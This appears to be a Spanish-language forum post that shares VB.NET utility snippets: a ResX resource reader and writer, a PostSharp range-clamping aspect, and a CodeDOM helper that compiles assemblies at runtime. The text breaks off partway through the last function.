''' <param name="stringComparison">The <see cref="StringComparison"/> to compare the resource name.</param>
''' <returns>The resource.</returns>
''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
''' <exception cref="System.ArgumentException">Resource with the specified name is not found.;name</exception>
''' <exception cref="System.ArgumentException">The specified Type differs from the resource Type.;T</exception>
Public Function FindResource(ByVal name As String,
Optional ByVal stringComparison As StringComparison =
StringComparison.OrdinalIgnoreCase) As Resource
If Not File.Exists(Me.filePath1) Then
Throw New FileNotFoundException("Resource file not found.", Me.filePath1)
Exit Function
End If
' Read the ResX file.
Dim resX As ResXResourceReader = Nothing
Dim res As Resource = Nothing
Try
resX = New ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
Using resX
For Each entry As DictionaryEntry In resX
If entry.Key.ToString.Equals(name, stringComparison) Then
Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
res = New Resource(name:=node.Name,
data:=node.GetValue(DirectCast(Nothing, ITypeResolutionService)),
comment:=node.Comment)
Exit For
End If
Next entry
End Using ' resX
Return res
Catch ex As Exception
Throw
Finally
If resX IsNot Nothing Then
resX.Close()
End If
End Try
End Function
''' <summary>
''' Finds the resources of the specified type inside the .Net managed resource file.
''' </summary>
''' <typeparam name="T"></typeparam>
''' <returns>The resource.</returns>
''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
''' <exception cref="System.ArgumentException">Resource with the specified name is not found.;name</exception>
''' <exception cref="System.ArgumentException">The specified Type differs from the resource Type.;T</exception>
Public Iterator Function FindResources(Of T)() As IEnumerable(Of Resource(Of T))
If Not File.Exists(Me.filePath1) Then
Throw New FileNotFoundException("Resource file not found.", Me.filePath1)
Exit Function
End If
' Read the ResX file.
Dim resX As ResXResourceReader = Nothing
Try
resX = New ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
Using resX
For Each entry As DictionaryEntry In resX
Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
If node.GetValue(DirectCast(Nothing, ITypeResolutionService)).GetType Is GetType(T) Then
Yield New Resource(Of T)(name:=node.Name,
data:=DirectCast(node.GetValue(DirectCast(Nothing, ITypeResolutionService)), T),
comment:=node.Comment)
End If
Next entry
End Using ' resX
Catch ex As Exception
Throw
Finally
If resX IsNot Nothing Then
resX.Close()
End If
End Try
End Function
''' <summary>
''' Removes a resource by the specified name from the .Net managed resource file.
''' </summary>
''' <param name="name">The resource name.</param>
''' <param name="stringComparison">The <see cref="StringComparison"/> to compare the resource name.</param>
''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
''' <exception cref="System.ArgumentException">Any resource found matching the specified name.;name</exception>
Public Sub RemoveResource(ByVal name As String,
Optional ByVal stringComparison As StringComparison =
StringComparison.OrdinalIgnoreCase)
If Not File.Exists(Me.filePath1) Then
Throw New FileNotFoundException("Resource file not found.", Me.filePath1)
Exit Sub
End If
If Me.FindResource(name, stringComparison) Is Nothing Then
Throw New ArgumentException("Any resource found matching the specified name.", "name")
Exit Sub
End If
Dim resources As New List(Of ResXDataNode)
Dim resX As ResXResourceReader = Nothing
Dim resXWritter As ResXResourceWriter = Nothing
Try
resX = New ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
Using resX
For Each entry As DictionaryEntry In resX
If Not entry.Key.ToString.Equals(name, stringComparison) Then
Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
resources.Add(New ResXDataNode(name:=node.Name, value:=node.GetValue(DirectCast(Nothing, ITypeResolutionService))) With {.Comment = node.Comment})
End If
Next entry
End Using
' Add the resource in the ResX file.
' Note: This will replace the current ResX file.
resXWritter = New ResXResourceWriter(Me.filePath1)
Using resXWritter
' Add the retrieved resources into the ResX file.
If resources IsNot Nothing Then
For Each resourceItem As ResXDataNode In resources
resXWritter.AddResource(resourceItem)
Next resourceItem
End If
resXWritter.Generate()
End Using ' resXWritter
Catch ex As Exception
Throw
Finally
If resX IsNot Nothing Then
resX.Close()
End If
If resXWritter IsNot Nothing Then
resXWritter.Close()
End If
resources.Clear()
End Try
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Adds or replaces a resource into the .Net managed resource file.
''' </summary>
''' <param name="replace">if set to <c>true</c>, the resource will be replaced.</param>
''' <param name="name">The resource name.</param>
''' <param name="data">The resource data.</param>
''' <param name="comment">The resource comment.</param>
''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
''' <exception cref="System.ArgumentException">A resource with the same name already exists in the table.;name</exception>
Private Sub AddResource(ByVal replace As Boolean,
ByVal name As String,
ByVal data As Object,
ByVal comment As String)
If Not File.Exists(Me.filePath1) Then
Throw New FileNotFoundException("Resource file not found.", Me.filePath1)
Exit Sub
End If
Dim resources As New List(Of ResXDataNode)
Dim resX As ResXResourceReader = Nothing
Dim resXWritter As ResXResourceWriter = Nothing
Try
resX = New ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
Using resX
For Each entry As DictionaryEntry In resX
If Not replace AndAlso entry.Key.ToString.Equals(name, StringComparison.OrdinalIgnoreCase) Then
Throw New ArgumentException("A resource with the same name already exists in the table.", "name")
Else
Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
resources.Add(New ResXDataNode(name:=node.Name, value:=node.GetValue(DirectCast(Nothing, ITypeResolutionService))) With {.Comment = node.Comment})
End If
Next entry
End Using
' Add the resource in the ResX file.
' Note: This will replace the current ResX file.
resXWritter = New ResXResourceWriter(Me.filePath1)
Using resXWritter
' Add the retrieved resources into the ResX file.
If resources IsNot Nothing Then
For Each resourceItem As ResXDataNode In resources
resXWritter.AddResource(resourceItem)
Next resourceItem
End If
' Add the specified resource into the ResX file.
resXWritter.AddResource(New ResXDataNode(name, data) With {.Name = name, .Comment = comment})
resXWritter.Generate()
End Using ' resXWritter
Catch ex As Exception
Throw
Finally
If resX IsNot Nothing Then
resX.Close()
End If
If resXWritter IsNot Nothing Then
resXWritter.Close()
End If
resources.Clear()
End Try
End Sub
''' <summary>
''' Gets all the resources contained in the .Net managed resource file.
''' </summary>
''' <returns>IEnumerable(Of Resource).</returns>
Private Iterator Function GetResources() As IEnumerable(Of Resource)
' Read the ResX file.
Using resX As New Resources.ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
For Each entry As DictionaryEntry In resX
Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
Yield New Resource(name:=node.Name,
data:=node.GetValue(DirectCast(Nothing, ITypeResolutionService)),
comment:=node.Comment)
Next entry
End Using ' resX
End Function
#End Region
#Region " Hidden Methods "
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function Equals(ByVal obj As Object) As Boolean
Return MyBase.Equals(obj)
End Function
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
''' <summary>
''' Gets the System.Type of the current instance.
''' </summary>
''' <returns>The exact runtime type of the current instance.</returns>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function [GetType]() As Type
Return MyBase.GetType
End Function
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function ToString() As String
Return MyBase.ToString
End Function
#End Region
End Class
Un aspecto para utilizar con la librería Postsharp, para difundir un poquito la programación orientada a aspectos (AOP).
Este aspecto en particular sirve para definir un valor mínimo y máximo para un miembro público de una class (Ej: Una propiedad Byte, Short, Integer, Long, etc...),
con esto nos aseguramos de que el valor asignado nunca supere el máximo ...ni el mínimo.
Hay bastante repetición de código ya que al parecer la Class no se puede hacer genérica.
Ejemplo de uso:
Imports PostSharp.Aspects
Public Class MyClass
<RangeAttribute(0S, SByte.MaxValue)>
Dim sByteValue As SByte
<RangeAttribute(0S, Byte.MaxValue)>
Dim ByteValue As Byte
<RangeAttribute(0S, Short.MaxValue)>
Dim Int16Value As Short
<RangeAttribute(0US, UShort.MaxValue)>
Dim UInt16Value As UShort
<RangeAttribute(0I, Integer.MaxValue)>
Dim Int32Value As Integer
<RangeAttribute(0UI, UInteger.MaxValue)>
Dim UInt32Value As UInteger
<RangeAttribute(0L, Long.MaxValue)>
Dim Int64Value As Long
<RangeAttribute(0UL, ULong.MaxValue)>
Dim UInt64Value As ULong
<RangeAttribute(0.0F, Single.MaxValue)>
Dim SglValue As Single
<RangeAttribute(0.0R, Double.MaxValue)>
Dim DblValue As Double
End Class
Código fuente:
' ***********************************************************************
' Author : Elektro
' Modified : 07-June-2015
' ***********************************************************************
' <copyright file="RangeAttribute.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Imports PostSharp.Aspects
'
'Public Class Myclass
'
' <RangeAttribute(0S, SByte.MaxValue)>
' Dim sByteValue As SByte
'
' <RangeAttribute(0S, Byte.MaxValue)>
' Dim ByteValue As Byte
'
' <RangeAttribute(0S, Short.MaxValue)>
' Dim Int16Value As Short
'
' <RangeAttribute(0US, UShort.MaxValue)>
' Dim UInt16Value As UShort
'
' <RangeAttribute(0I, Integer.MaxValue)>
' Dim Int32Value As Integer
'
' <RangeAttribute(0UI, UInteger.MaxValue)>
' Dim UInt32Value As UInteger
'
' <RangeAttribute(0L, Long.MaxValue)>
' Dim Int64Value As Long
'
' <RangeAttribute(0UL, ULong.MaxValue)>
' Dim UInt64Value As ULong
'
' <RangeAttribute(0.0F, Single.MaxValue)>
' Dim SglValue As Single
'
' <RangeAttribute(0.0R, Double.MaxValue)>
' Dim DblValue As Double
'
'End Class
#End Region
#Region " Imports "
Imports PostSharp.Aspects
#End Region
#Region " Range Attribute "
''' <summary>
''' Aspect that when applied to a property, defines its minimum and maximum value.
''' </summary>
<Serializable>
Public Class RangeAttribute : Inherits LocationInterceptionAspect
#Region " Properties "
''' <summary>
''' Gets or sets the minimum value.
''' </summary>
Private Property Min As Object
''' <summary>
''' Gets or sets the maximum value.
''' </summary>
Private Property Max As Object
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="SByte"/> datatype.
''' </summary>
''' <param name="minInt8">The minimum <see cref="SByte"/> value.</param>
''' <param name="maxInt8">The maximum <see cref="SByte"/> value.</param>
Public Sub New(ByVal minInt8 As SByte, ByVal maxInt8 As SByte)
Me.Min = minInt8
Me.Max = maxInt8
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Byte"/> datatype.
''' </summary>
''' <param name="minUInt8">The minimum <see cref="Byte"/> value.</param>
''' <param name="maxUInt8">The maximum <see cref="Byte"/> value.</param>
Public Sub New(ByVal minUInt8 As Byte, ByVal maxUInt8 As Byte)
Me.Min = minUInt8
Me.Max = maxUInt8
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Short"/> datatype.
''' </summary>
''' <param name="minInt16">The minimum <see cref="Short"/> value.</param>
''' <param name="maxInt16">The maximum <see cref="Short"/> value.</param>
Public Sub New(ByVal minInt16 As Short, ByVal maxInt16 As Short)
Me.Min = minInt16
Me.Max = maxInt16
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="UShort"/> datatype.
''' </summary>
''' <param name="minUInt16">The minimum <see cref="UShort"/> value.</param>
''' <param name="maxUInt16">The maximum <see cref="UShort"/> value.</param>
Public Sub New(ByVal minUInt16 As UShort, ByVal maxUInt16 As UShort)
Me.Min = minUInt16
Me.Max = maxUInt16
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Integer"/> datatype.
''' </summary>
''' <param name="minInt32">The minimum <see cref="Integer"/> value.</param>
''' <param name="maxInt32">The maximum <see cref="Integer"/> value.</param>
Public Sub New(ByVal minInt32 As Integer, ByVal maxInt32 As Integer)
Me.Min = minInt32
Me.Max = maxInt32
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="UInteger"/> datatype.
''' </summary>
''' <param name="minUInt32">The minimum <see cref="UInteger"/> value.</param>
''' <param name="maxUInt32">The maximum <see cref="UInteger"/> value.</param>
Public Sub New(ByVal minUInt32 As UInteger, ByVal maxUInt32 As UInteger)
Me.Min = minUInt32
Me.Max = maxUInt32
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Long"/> datatype.
''' </summary>
''' <param name="minInt64">The minimum <see cref="Long"/> value.</param>
''' <param name="maxInt64">The maximum <see cref="Long"/> value.</param>
Public Sub New(ByVal minInt64 As Long, ByVal maxInt64 As Long)
Me.Min = minInt64
Me.Max = maxInt64
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="ULong"/> datatype.
''' </summary>
''' <param name="minUInt64">The minimum <see cref="ULong"/> value.</param>
''' <param name="maxUInt64">The maximum <see cref="ULong"/> value.</param>
Public Sub New(ByVal minUInt64 As ULong, ByVal maxUInt64 As ULong)
Me.Min = minUInt64
Me.Max = maxUInt64
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Single"/> datatype.
''' </summary>
''' <param name="minSingle">The minimum <see cref="Single"/> value.</param>
''' <param name="maxSingle">The maximum <see cref="Single"/> value.</param>
Public Sub New(ByVal minSingle As Single, ByVal maxSingle As Single)
Me.Min = minSingle
Me.Max = maxSingle
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="RangeAttribute"/> class for <see cref="Double"/> datatype.
''' </summary>
''' <param name="minDouble">The minimum <see cref="Double"/> value.</param>
''' <param name="maxDouble">The maximum <see cref="Double"/> value.</param>
Public Sub New(ByVal minDouble As Double, ByVal maxDouble As Double)
Me.Min = minDouble
Me.Max = maxDouble
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="RangeAttribute"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Methods "
''' <summary>
''' Method invoked <i>instead</i> of the <c>Set</c> semantic of the field or property to which the current aspect is applied,
''' i.e. when the value of this field or property is changed.
''' </summary>
''' <param name="args">Advice arguments.</param>
Public Overrides Sub OnSetValue(ByVal args As LocationInterceptionArgs)
Dim value As Object = args.Value
Select Case True
Case TypeOf value Is SByte
If DirectCast(value, SByte) < CSByte(Me.Min) Then
value = Me.Min
ElseIf DirectCast(value, SByte) > CSByte(Me.Max) Then
value = Me.Max
End If
args.SetNewValue(CSByte(value))
Case TypeOf value Is Byte
If DirectCast(value, Byte) < CByte(Me.Min) Then
value = Me.Min
ElseIf DirectCast(value, Byte) > CByte(Me.Max) Then
value = Me.Max
End If
args.SetNewValue(CByte(value))
Case TypeOf value Is Short
If DirectCast(value, Short) < CShort(Me.Min) Then
value = Me.Min
ElseIf DirectCast(value, Short) > CShort(Me.Max) Then
value = Me.Max
End If
args.SetNewValue(CShort(value))
Case TypeOf value Is UShort
If DirectCast(value, UShort) < CUShort(Me.Min) Then
value = Me.Min
ElseIf DirectCast(value, UShort) > CUShort(Me.Max) Then
value = Me.Max
End If
args.SetNewValue(CUShort(value))
Case TypeOf value Is Integer
If DirectCast(value, Integer) < CInt(Me.Min) Then
value = Me.Min
ElseIf DirectCast(value, Integer) > CInt(Me.Max) Then
value = Me.Max
End If
args.SetNewValue(CInt(value))
Case TypeOf value Is UInteger
If DirectCast(value, UInteger) < CUInt(Me.Min) Then
value = Me.Min
ElseIf DirectCast(value, UInteger) > CUInt(Me.Max) Then
value = Me.Max
End If
args.SetNewValue(CUInt(value))
Case TypeOf value Is Long
If DirectCast(value, Long) < CLng(Me.Min) Then
value = Me.Min
ElseIf DirectCast(value, Long) > CLng(Me.Max) Then
value = Me.Max
End If
args.SetNewValue(CLng(value))
Case TypeOf value Is ULong
If DirectCast(value, ULong) < CULng(Me.Min) Then
value = Me.Min
ElseIf DirectCast(value, ULong) > CULng(Me.Max) Then
value = Me.Max
End If
args.SetNewValue(CULng(value))
Case TypeOf value Is Single
If DirectCast(value, Single) < CSng(Me.Min) Then
value = Me.Min
ElseIf DirectCast(value, Single) > CSng(Me.Max) Then
value = Me.Max
End If
args.SetNewValue(CSng(value))
Case TypeOf value Is Double
If DirectCast(value, Double) < CDbl(Me.Min) Then
value = Me.Min
ElseIf DirectCast(value, Double) > CDbl(Me.Max) Then
value = Me.Max
End If
args.SetNewValue(CDbl(value))
End Select
End Sub
#End Region
End Class
#End Region
Comparto este snippet para compilar código fuente en tiempo de ejecución, una DLL, una app CLI o GUI, desde un string o desde un archivo que contenga el código guente.
Es útil por ejemplo para bindear archivos, o embedir tablas de recursos en una dll, o simplemente para compilar un código de C# o VB.Net.
Ejemplo de uso:
Using vbCodeProvider As New Microsoft.VisualBasic.VBCodeProvider
Dim resultVB As CompilerResults =
CodeDomUtil.CompileAssembly(codeProvider:=vbCodeProvider,
targetAssembly:=CodeDomUtil.TargetAssembly.Dll,
targetFile:="C:\VB Assembly.dll",
resources:={"C:\MyResources.resx"},
referencedAssemblies:={"System.dll"},
mainClassName:="MainNamespace.MainClass",
sourceCode:=<a>
Imports System
Namespace MainNamespace
Public NotInheritable MainClass
End Class
End Namespace
</a>.Value)
Dim warnings As IEnumerable(Of CompilerError) =
From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
Where ce.IsWarning
Dim errors As IEnumerable(Of CompilerError) =
From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
Where Not ce.IsWarning
For Each war As CompilerError In warnings
Debug.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
Next war
For Each err As CompilerError In errors
Debug.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
Next err
End Using
Código fuente:
''' <summary>
''' Specifies a <see cref="CompilerParameters"></see> target assembly.
''' </summary>
Public Enum TargetAssembly As Integer
''' <summary>
''' A Command line interface executable.
''' </summary>
Cli = 0
''' <summary>
''' A Graphical user interface executable.
''' </summary>
Gui = 1
''' <summary>
''' A Dynamic-link library.
''' </summary>
Dll = 2
End Enum
''' <remarks>
''' *****************************************************************
''' Title : Compile Assembly (from reaource).
''' Author: Elektro
''' Date : 14-June-2015
''' Usage :
'''
''' Using vbCodeProvider As New Microsoft.VisualBasic.VBCodeProvider
'''
''' Dim resultVB As CompilerResults =
''' CodeDomUtil.CompileAssembly(codeProvider:=vbCodeProvider,
''' targetAssembly:=CodeDomUtil.TargetAssembly.Dll,
''' targetFile:="C:\VB Assembly.dll",
''' resources:={"C:\MyResources.resx"},
''' referencedAssemblies:={"System.dll"},
''' mainClassName:="MainNamespace.MainClass",
''' sourceCode:=<a>
''' Imports System
'''
''' Namespace MainNamespace
'''
''' Public NotInheritable MainClass
'''
''' End Class
'''
''' End Namespace
''' </a>.Value)
'''
''' Dim warnings As IEnumerable(Of CompilerError) =
''' From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
''' Where ce.IsWarning
'''
''' Dim errors As IEnumerable(Of CompilerError) =
''' From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
''' Where Not ce.IsWarning
'''
''' For Each war As CompilerError In warnings
''' Debug.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
''' Next war
'''
''' For Each err As CompilerError In errors
''' Debug.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
''' Next err
'''
''' End Using
''' -----------------------------------------------------------------
''' Using csCodeProvider As New Microsoft.CSharp.CSharpCodeProvider
'''
''' Dim resultCS As CompilerResults =
''' CodeDomUtil.CompileAssembly(codeProvider:=csCodeProvider,
''' targetAssembly:=CodeDomUtil.TargetAssembly.Dll,
''' targetFile:="C:\C# Assembly.dll",
''' resources:={"C:\MyResources.resx"},
''' referencedAssemblies:={"System.dll"},
''' mainClassName:="MainNamespace.MainClass",
''' sourceCode:=<a>
''' using System;
'''
''' namespace MainNamespace
''' {
''' class MainClass
''' {
'''
''' }
''' }
''' </a>.Value)
'''
''' Dim warnings As IEnumerable(Of CompilerError) =
''' From ce As CompilerError In resultCS.Errors.Cast(Of CompilerError)()
''' Where ce.IsWarning
'''
''' Dim errors As IEnumerable(Of CompilerError) =
''' From ce As CompilerError In resultCS.Errors.Cast(Of CompilerError)()
''' Where Not ce.IsWarning
'''
''' For Each war As CompilerError In warnings
''' Debug.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
''' Next war
'''
''' For Each err As CompilerError In errors
''' Debug.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
''' Next err
'''
''' End Using
''' *****************************************************************
''' </remarks>
''' <summary>
''' Compiles a .Net assembly as executable or link library.
''' </summary>
''' <param name="codeProvider">The code provider.</param>
''' <param name="targetAssembly">The kind of assembly to generate.</param>
''' <param name="targetFile">The target file to create.</param>
''' <param name="resources">The embedded resources (if any).</param>
''' <param name="referencedAssemblies">The referenced assemblies (if any).</param>
''' <param name="mainClassName">The code to compile (if any).</param>
''' <param name="sourceCode">The sourcecode to compile (if any).</param>
''' <exception cref="Exception">The current CodeDomProvider does not support resource embedding.</exception>
''' <exception cref="NotImplementedException">Default sourcecode is not implemented for the specified CodeDomProvider. Please, set a sourcecode yourself.</exception>
''' <returns>The results of the compiler operation.</returns>
Public Shared Function CompileAssembly(ByVal codeProvider As CodeDomProvider,
ByVal targetAssembly As TargetAssembly,
ByVal targetFile As String,
Optional ByVal resources As IEnumerable(Of String) = Nothing,
Optional ByVal referencedAssemblies As IEnumerable(Of String) = Nothing,
Optional ByVal mainClassName As String = "MainNamespace.MainClass",
Optional ByVal sourceCode As String = Nothing) As CompilerResults
' Set a default assembly reference.
If referencedAssemblies Is Nothing Then
referencedAssemblies = {"System.dll"}
End If
Dim cp As New CompilerParameters
With cp
' Set compiler arguments.
Select Case targetAssembly
Case CodeDomUtil.TargetAssembly.Gui
.CompilerOptions = "/optimize /target:winexe"
Case Else
.CompilerOptions = "/optimize"
End Select
' Generate an exe or a dll.
.GenerateExecutable = (targetAssembly <> CodeDomUtil.TargetAssembly.Dll)
' Save the assembly as a physical file.
.GenerateInMemory = False
' Generate debug information (pdb).
.IncludeDebugInformation = False
' Set the assembly file name to generate.
.OutputAssembly = targetFile
' Add an assembly reference.
.ReferencedAssemblies.AddRange(referencedAssemblies.ToArray)
' Set a temporary files collection.
' The TempFileCollection stores the temporary files generated during a build in the current directory.
.TempFiles = New TempFileCollection(tempdir:=IO.Path.GetTempPath(), keepFiles:=True)
' Set whether to treat all warnings as errors.
.TreatWarningsAsErrors = False
' Set the level at which the compiler should start displaying warnings.
' 0 - Turns off emission of all warning messages.
' 1 - Displays severe warning messages.
' 2 - Displays level 1 warnings plus certain, less-severe warnings, such as warnings about hiding class members.
' 3 - Displays level 2 warnings plus certain, less-severe warnings, such as warnings about expressions that always evaluate to true or false.
' 4 - Displays all level 3 warnings plus informational warnings. This is the default warning level at the command line.
.WarningLevel = 3
' Set the embedded resource file of the assembly.
If codeProvider.Supports(GeneratorSupport.Resources) AndAlso (resources IsNot Nothing) Then
.EmbeddedResources.AddRange(resources.ToArray)
ElseIf (Not codeProvider.Supports(GeneratorSupport.Resources)) AndAlso (resources IsNot Nothing) Then
Throw New Exception(message:="The current CodeDomProvider does not support resource embedding.")
End If
' Specify the class that contains the main method of the executable.
If codeProvider.Supports(GeneratorSupport.EntryPointMethod) Then
.MainClass = mainClassName
If (TypeOf codeProvider Is Microsoft.VisualBasic.VBCodeProvider) AndAlso
(String.IsNullOrEmpty(sourceCode)) AndAlso
.GenerateExecutable Then
sourceCode =
<a>
Imports System
Namespace MainNamespace
Module MainClass
Sub Main()
End Sub
End Module
End Namespace
</a>.Value
ElseIf (TypeOf codeProvider Is Microsoft.VisualBasic.VBCodeProvider) AndAlso
(String.IsNullOrEmpty(sourceCode)) AndAlso
Not .GenerateExecutable Then
sourceCode =
<a>
Imports System
Namespace MainNamespace
Public NotInheritable MainClass
End Class
End Namespace
</a>.Value
ElseIf (TypeOf codeProvider Is Microsoft.CSharp.CSharpCodeProvider) AndAlso
(String.IsNullOrEmpty(sourceCode)) AndAlso
.GenerateExecutable Then
sourceCode =
<a>
using System;
namespace MainNamespace
{
class MainClass
{
static void Main(string[] args)
{
}
}
}
</a>.Value
ElseIf (TypeOf codeProvider Is Microsoft.CSharp.CSharpCodeProvider) AndAlso
(String.IsNullOrEmpty(sourceCode)) AndAlso
Not .GenerateExecutable Then
sourceCode =
<a>
using System;
namespace MainNamespace
{
class MainClass
{
}
}
</a>.Value
ElseIf String.IsNullOrEmpty(sourceCode) Then
Throw New NotImplementedException(message:="Default sourcecode is not implemented for the specified CodeDomProvider. Please, specify a sourcecode.")
End If
End If
End With
Return codeProvider.CompileAssemblyFromSource(cp, sourceCode)
End Function
''' <remarks>
''' *****************************************************************
''' Title : Compile Assembly (from file).
''' Author: Elektro
''' Date : 14-June-2015
''' Usage :
'''
''' Using vbCodeProvider As New Microsoft.VisualBasic.VBCodeProvider
'''
''' Dim resultVB As CompilerResults =
''' CodeDomUtil.CompileAssembly(codeProvider:=vbCodeProvider,
''' targetAssembly:=CodeDomUtil.TargetAssembly.Dll,
''' sourceFile:="C:\SourceCode.vb",
''' targetFile:="C:\VB Assembly.dll",
''' resources:={"C:\MyResources.resx"},
''' referencedAssemblies:={"System.dll"},
''' mainClassName:="MainNamespace.MainClass")
'''
''' Dim warnings As IEnumerable(Of CompilerError) =
''' From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
''' Where ce.IsWarning
'''
''' Dim errors As IEnumerable(Of CompilerError) =
''' From ce As CompilerError In resultVB.Errors.Cast(Of CompilerError)()
''' Where Not ce.IsWarning
'''
''' For Each war As CompilerError In warnings
''' Debug.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
''' Next war
'''
''' For Each err As CompilerError In errors
''' Debug.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
''' Next err
'''
''' End Using
''' -----------------------------------------------------------------
''' Using csCodeProvider As New Microsoft.CSharp.CSharpCodeProvider
'''
''' Dim resultCS As CompilerResults =
''' CodeDomUtil.CompileAssembly(codeProvider:=csCodeProvider,
''' targetAssembly:=CodeDomUtil.TargetAssembly.Dll,
''' sourceFile:="C:\SourceCode.cs",
''' targetFile:="C:\CS Assembly.dll",
''' resources:={"C:\MyResources.resx"},
''' referencedAssemblies:={"System.dll"},
''' mainClassName:="MainNamespace.MainClass")
'''
''' Dim warnings As IEnumerable(Of CompilerError) =
''' From ce As CompilerError In resultCS.Errors.Cast(Of CompilerError)()
''' Where ce.IsWarning
'''
''' Dim errors As IEnumerable(Of CompilerError) =
''' From ce As CompilerError In resultCS.Errors.Cast(Of CompilerError)()
''' Where Not ce.IsWarning
'''
''' For Each war As CompilerError In warnings
''' Debug.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
''' Next war
'''
''' For Each err As CompilerError In errors
''' Debug.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
''' Next err
'''
''' End Using
''' *****************************************************************
''' </remarks>
''' <summary>
''' Compiles a .Net assembly as executable or link library.
''' </summary>
''' <param name="codeProvider">The code provider.</param>
''' <param name="targetAssembly">The kind of assembly to generate.</param>
''' <param name="sourceFile">The source file to compile.</param>
''' <param name="targetFile">The target file to create.</param>
''' <param name="resources">The embedded resources (if any).</param>
''' <param name="referencedAssemblies">The referenced assemblies (if any).</param>
''' <param name="mainClassName">The code to compile (if any).</param>
''' <exception cref="Exception">The current CodeDomProvider does not support resource embedding.</exception>
''' <returns>The results of the compiler operation.</returns>
Public Shared Function CompileAssembly(ByVal codeProvider As CodeDomProvider,
ByVal targetAssembly As TargetAssembly,
ByVal sourceFile As String,
ByVal targetFile As String,
Optional ByVal resources As IEnumerable(Of String) = Nothing,
Optional ByVal referencedAssemblies As IEnumerable(Of String) = Nothing,
Optional ByVal mainClassName As String = "MainNamespace.MainClass") As CompilerResults
' Set a default assembly reference.
If referencedAssemblies Is Nothing Then
referencedAssemblies = {"System.dll"}
End If
Dim cp As New CompilerParameters
With cp
' Set compiler arguments.
Select Case targetAssembly
Case CodeDomUtil.TargetAssembly.Gui
.CompilerOptions = "/optimize /target:winexe"
Case Else
.CompilerOptions = "/optimize"
End Select
' Generate an exe or a dll.
.GenerateExecutable = (targetAssembly <> CodeDomUtil.TargetAssembly.Dll)
' Save the assembly as a physical file.
.GenerateInMemory = False
' Generate debug information (pdb).
.IncludeDebugInformation = False
' Set the assembly file name to generate.
.OutputAssembly = targetFile
' Add an assembly reference.
.ReferencedAssemblies.AddRange(referencedAssemblies.ToArray)
' Set a temporary files collection.
' The TempFileCollection stores the temporary files generated during a build in the current directory.
.TempFiles = New TempFileCollection(tempdir:=IO.Path.GetTempPath(), keepFiles:=True)
' Set whether to treat all warnings as errors.
.TreatWarningsAsErrors = False
' Set the level at which the compiler should start displaying warnings.
' 0 - Turns off emission of all warning messages.
' 1 - Displays severe warning messages.
' 2 - Displays level 1 warnings plus certain, less-severe warnings, such as warnings about hiding class members.
' 3 - Displays level 2 warnings plus certain, less-severe warnings, such as warnings about expressions that always evaluate to true or false.
' 4 - Displays all level 3 warnings plus informational warnings. This is the default warning level at the command line.
.WarningLevel = 3
' Set the embedded resource file of the assembly.
If codeProvider.Supports(GeneratorSupport.Resources) AndAlso (resources IsNot Nothing) Then
.EmbeddedResources.AddRange(resources.ToArray)
ElseIf (Not codeProvider.Supports(GeneratorSupport.Resources)) AndAlso (resources IsNot Nothing) Then
Throw New Exception(message:="The current CodeDomProvider does not support resource embedding.")
End If
' Specify the class that contains the main method of the executable.
